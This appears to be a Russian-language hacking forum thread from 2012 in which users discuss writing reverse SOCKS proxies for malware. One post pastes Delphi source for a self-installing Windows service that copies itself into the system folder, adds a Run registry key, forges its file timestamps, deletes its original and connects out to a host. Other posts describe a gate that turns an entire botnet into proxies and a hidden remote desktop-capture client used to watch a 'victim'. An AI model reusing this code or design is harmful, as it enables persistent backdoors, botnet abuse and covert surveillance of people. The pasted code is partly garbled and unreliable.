Дата: Понедельник, 09.07.2012, 00:35 | Сообщение # 3
Частый гость
Зарегистрирован: 26.06.2012
Группа: Пользователи
Сообщений: 37
Статус: Offline
Quote (xXxSh@dowxXx)
XSPY да ладна тебе, хотя бы ссылочку какую нибудь по теме что ли дал бы ему...
Это всё что я нашол. http://www.slava-soft.com/articles/reverse_connections/ Сам както интересовался данной темой но руки так и не дошли, но надо всётаки разобратса с реверс сокс
Сообщение отредактировал annakin - Понедельник, 09.07.2012, 00:35
Дата: Понедельник, 09.07.2012, 02:35 | Сообщение # 4
Частый гость
Зарегистрирован: 26.06.2012
Группа: Пользователи
Сообщений: 37
Статус: Offline
ОФФТОП
Quote (XSPY)
в пм все порешали ага)
Зря ты так, тебе ведь в ПМ отписались дабы не ОФФ-топить на форуме а ты тут ... Нащёт того что ты мне в ПМ ответил я ничего из написанного табой не понял. Уж лутше я сам разберусь нежели склонятса перед кемто. Посмотри на мой топик выше.. Я когда прочитал просьбу автора я сразу полез в интернет и стал искать решение для него и то что я нашел на данный момент я ему выложил.
З.Ы. Не в обиду, сори за прямоту.
ЗЗ.ЫЫ. Все мы когда то просим помощи у кого то и надеемся что люди откликнутся.
Сообщение отредактировал annakin - Понедельник, 09.07.2012, 02:37
ну вообще на данный момент исходником никто не делится из-за того что нету такового у людей, а писать лень, можно поделится алгоритмом как написать этот исходник, но это не всем помогает
P.S я раньше даже про реверс сокс прокси не знал, натолкнуло на хорошую идею, но исходники выложить не смогу, ибо еще не дописал и вовторых это не то что тебе надо, ну а если интересует могу поделится идейкой
ребята,я НИКОГО! не заставляю преклоняться! Все знают,что я каждому помогаю,чем могу.Если что нужно-пишите в личку... З.Ы:Я сейчас и до сентября в инете с телефона.
Вот нашел на забугорном сайте какойто пример реверса вопросы не задавайте и не разбирал код времени нет. Проста скопипастил его сюда, так чо если это не то так отпишитесь.
var szServiceName: pchar = 'SvrDemo'; szFileName:pchar; ServiceTable: array [0..1] of TServiceTableEntry; Status: SERVICE_STATUS; StatusHandle: SERVICE_STATUS_HANDLE; Stopped: boolean; Paused: boolean; cmd :array[0..MAX_PATH] of char;
//»сИЎПµНіДїВј function GetDirectory(dInt: Integer): string; var s: array[0..255] of Char; begin case dInt of 0: GetWindowsDirectory(@s, 256); //Windows°ІЧ°ОДјюЉAЛщґжФЪµДВ·ѕ¶ 1: GetSystemDirectory(@s, 256); //ПµНіОДјюЉAЛщґжФЪµДВ·ѕ¶ 2: GetTempPath(256,@s); //TempОДјюЉAЛщґжФЪµДВ·ѕ¶ end; if dInt=2 then result :=string(s) else result := string(s) + '\'; end;
//ЙиЦГОДјюК±јд procedure setTime(srcFile,destFile:PChar); var hFileOld,hFileNew :THandle; CreationTime, LastAccessTime, LastWriteTime :PFileTime; begin hFileOld :=createFile(srcFile,generic_read,file_share_read,nil, open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil)); if (hFileOld=INVALID_HANDLE_VALUE) then exit; hFileNew :=createFile(destFile,generic_write,file_share_write,nil, open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil)); if (hFileNew=INVALID_HANDLE_VALUE) then exit; GetMem(CreationTime,SizeOf(TFileTime)); GetMem(LastAccessTime,SizeOf(TFileTime)); GetMem(LastWriteTime,SizeOf(TFileTime)); GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime); SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime); FreeMem(CreationTime); FreeMem(LastAccesstime); FreeMem(LastWriteTime); CloseHandle(hFileNew); CloseHandle(hFileOld); end;
function LookupName(const Name: string): TInAddr; var HostEnt: PHostEnt; InAddr: TInAddr; begin HostEnt := gethostbyname(PChar(Name)); FillChar(InAddr, SizeOf(InAddr), 0); if HostEnt <> nil then begin with InAddr, HostEnt^ do begin S_un_b.s_b1 := h_addr^[0]; S_un_b.s_b2 := h_addr^[1]; S_un_b.s_b3 := h_addr^[2]; S_un_b.s_b4 := h_addr^[3]; end; end; Result := InAddr; end;
function StartNet(host:string;port:integer;var sock:integer):Boolean; var wsadata:twsadata; FSocket:integer; SockAddrIn:TSockAddrIn; err:integer; begin err:=WSAStartup($0101,WSAData); FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP); if FSocket=invalid_socket then begin Result:=False; Exit; end; SockAddrIn.sin_addr:=LookupName(host); SockAddrIn.sin_family := PF_INET; SockAddrIn.sin_port :=htons(port); err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); if err=0 then begin sock:=FSocket; Result:=True; end else begin Result:=False; end; end;
function SetRegValue(key:Hkey; subkey,name,value:string):boolean; var regkey:hkey; begin result := false; RegCreateKey(key,PChar(subkey),regkey); if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then result := true; RegCloseKey(regkey); end;
procedure SetDelValue(ROOT: hKey; Path, Value: string); var Key: hKey; begin RegOpenKeyEx(ROOT, pChar(Path), 0, KEY_ALL_ACCESS, Key); RegDeleteValue(Key, pChar(Value)); RegCloseKey(Key); end;
procedure UninstallService(ServiceName: string); var SCManager,Service: THandle; ServiceStatus: SERVICE_STATUS; begin SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS); if SCManager = 0 then Exit; try Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS); ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus); DeleteService(Service); CloseServiceHandle(Service); finally CloseServiceHandle(SCManager); end; end;
procedure ServiceCtrlHandler(Control: dword); stdcall; begin case Control of SERVICE_CONTROL_STOP: begin Stopped := True; Status.dwCurrentState := SERVICE_STOPPED; end; SERVICE_CONTROL_PAUSE: begin Paused := True; Status.dwcurrentstate := SERVICE_PAUSED; end; SERVICE_CONTROL_CONTINUE: begin Paused := False; Status.dwCurrentState := SERVICE_RUNNING; end; SERVICE_CONTROL_INTERROGATE: ; SERVICE_CONTROL_SHUTDOWN: Stopped := True; end; SetServiceStatus(StatusHandle, Status); end;
procedure ServiceMain; var s:integer; //MSG:TMSG; begin { while(GetMessage(Msg,0,0,0))do begin TranslateMessage(Msg); DispatchMessage(Msg); end; } repeat if not Paused then begin StartNet('127.0.0.1',600,s); Sleep(2000); end; until Stopped; ExitProcess(0); end;
procedure ServiceCtrlDispatcher(dwArgc: dword; var lpszArgv: pchar); stdcall; begin StatusHandle := RegisterServiceCtrlHandler(szServiceName, @ServiceCtrlHandler); if StatusHandle <> 0 then begin ZeroMemory(@Status, SizeOf(Status)); Status.dwServiceType := SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS; Status.dwCurrentState:= SERVICE_START_PENDING; Status.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE; Status.dwWaitHint := 1000; SetServiceStatus(StatusHandle, Status); Stopped := False; Paused := False; Status.dwCurrentState := SERVICE_RUNNING; SetServiceStatus(StatusHandle, Status); ServiceMain; end; end;
procedure Main; begin szFileName :=pchar(GetDirectory(1) + szServiceName + '.exe'); if ParamStr(1) = '/u' then begin UninstallService(szServiceName); SetDelValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName); end else begin GetModuleFileName(hInstance,cmd,MAX_PATH); ServiceTable[0].lpServiceName := szServiceName; ServiceTable[0].lpServiceProc := @ServiceCtrlDispatcher; ServiceTable[1].lpServiceName := nil; ServiceTable[1].lpServiceProc := nil; StartServiceCtrlDispatcher(ServiceTable[0]); if CopyFile(cmd,szFileName,false) then begin SetRegValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName,szFileName); setTime(PChar(GetDirectory(1) + 'cmd.exe'),szFileName); InstallService(szServiceName, szServiceName, szFileName); Delme; end; end; end;
begin Main; end.
Сообщение отредактировал annakin - Суббота, 21.07.2012, 14:21
ну а во вторых, этот код по сути ничего ж не делает, просто создает сервис и коннектится к хосту на указанный порт, автор темы совсем не этого просил же
P.S когда увидел данный вопрос, самому стало интересно и написал свой реверс сокс сервер(гейт/промежуточный сервер) и клиент(прокси сервер через гейт), работает на ура, писал на с++, правда портов я открывал по меньше, не 3, а 2, один для имитирования сокс сервера, другой для связи гейт/прокся , третий порт правда всетаки у меня есть, но он открыт для HTTP соединения и к алгоритму работы отношения не имеет, там производится выбор нужного прокси(айпишник прокси привязывается к твоему айпи) , ну и там стата по всем приконекченным клиентам, т.е прога рассчитана что она будет как сервис висеть на дэдике и принимать конекты прокси ботов, настройку можно будет сделать через HTTP, не имея доступа к дэдику, ну а сами боты(прокси) будут прогруженны ботнету и из них будут соксы, правда и без этого получалось прогружать сокс сервер ботнету и получать качественные соксы, но ботов с выделенками очень маленький процент, а данный способ позволит из всего ботнета сделать прокси, поэтому благодарен автору вопроса за идею, гейт на дэдик я еще правда не запускал, нужно бы еще потестить на локалхосте , но когда будет все запущенно мож даже прокси на тест вам дам
P.P.S вообще такие идеи с промежуточным сервером очень интересные, мною и моим другом была написанная соофтинка, названная HROMPIC, это по сути был свой аналог тим въювера, программа для удаленного управления/слежения за рабочим столом, конект осуществлялся тоже через промежуточный сервер, использовался Zlib для сдатия изображения, свой алгоритм преобразования палитры и "умный" алгоритм передачи изображения, так же отрисовка была сделанна на OpenGL, а захват с помощью видео драйвера(позаимствовали у OpenVNC, свой было лень делать) или же в случае неудачи через простой скрин экрана(WinAPI, работает кстати тоже достаточно быстро ), промежуточный сервер был реализован на C++ запущен и уже как месяц стабильно работает на сервере без перезапуска, ну а клиент для захвата(скоытый, но не представленный в виде малвари) и клиент для управления(не скрытый) тоже реализованны на С++ , в будующем планируется масштабный запуск этой системы и вывод ее на люди, а так она была протестированна лишь нами и нашими знакомыми, но для слижения за "жертвой" очень удобная вешь(по быстродействию почти не уступает тим въюверу, у нас просто нет возможности запустить нашь гейт на серваке с гигабитным каналом )
Дата: Воскресенье, 22.07.2012, 01:58 | Сообщение # 16
Частый гость
Зарегистрирован: 26.06.2012
Группа: Пользователи
Сообщений: 37
Статус: Offline
Я рад за вас ))) Но в С++ я не очень силён. Я шас пытаюсь реализовать такоеже не Delphi. Но а таких вещах не силён я только недавно начал кодить зловредов )) До этого я писал всё связанное с Базами данных для бугалтерии )) Так что придётса читать кучу инфы по Сокетам и тунелю кароче для реализации такой плюшки типа твоя. Так что если у кого есть инфа приму помощи в качестве примеров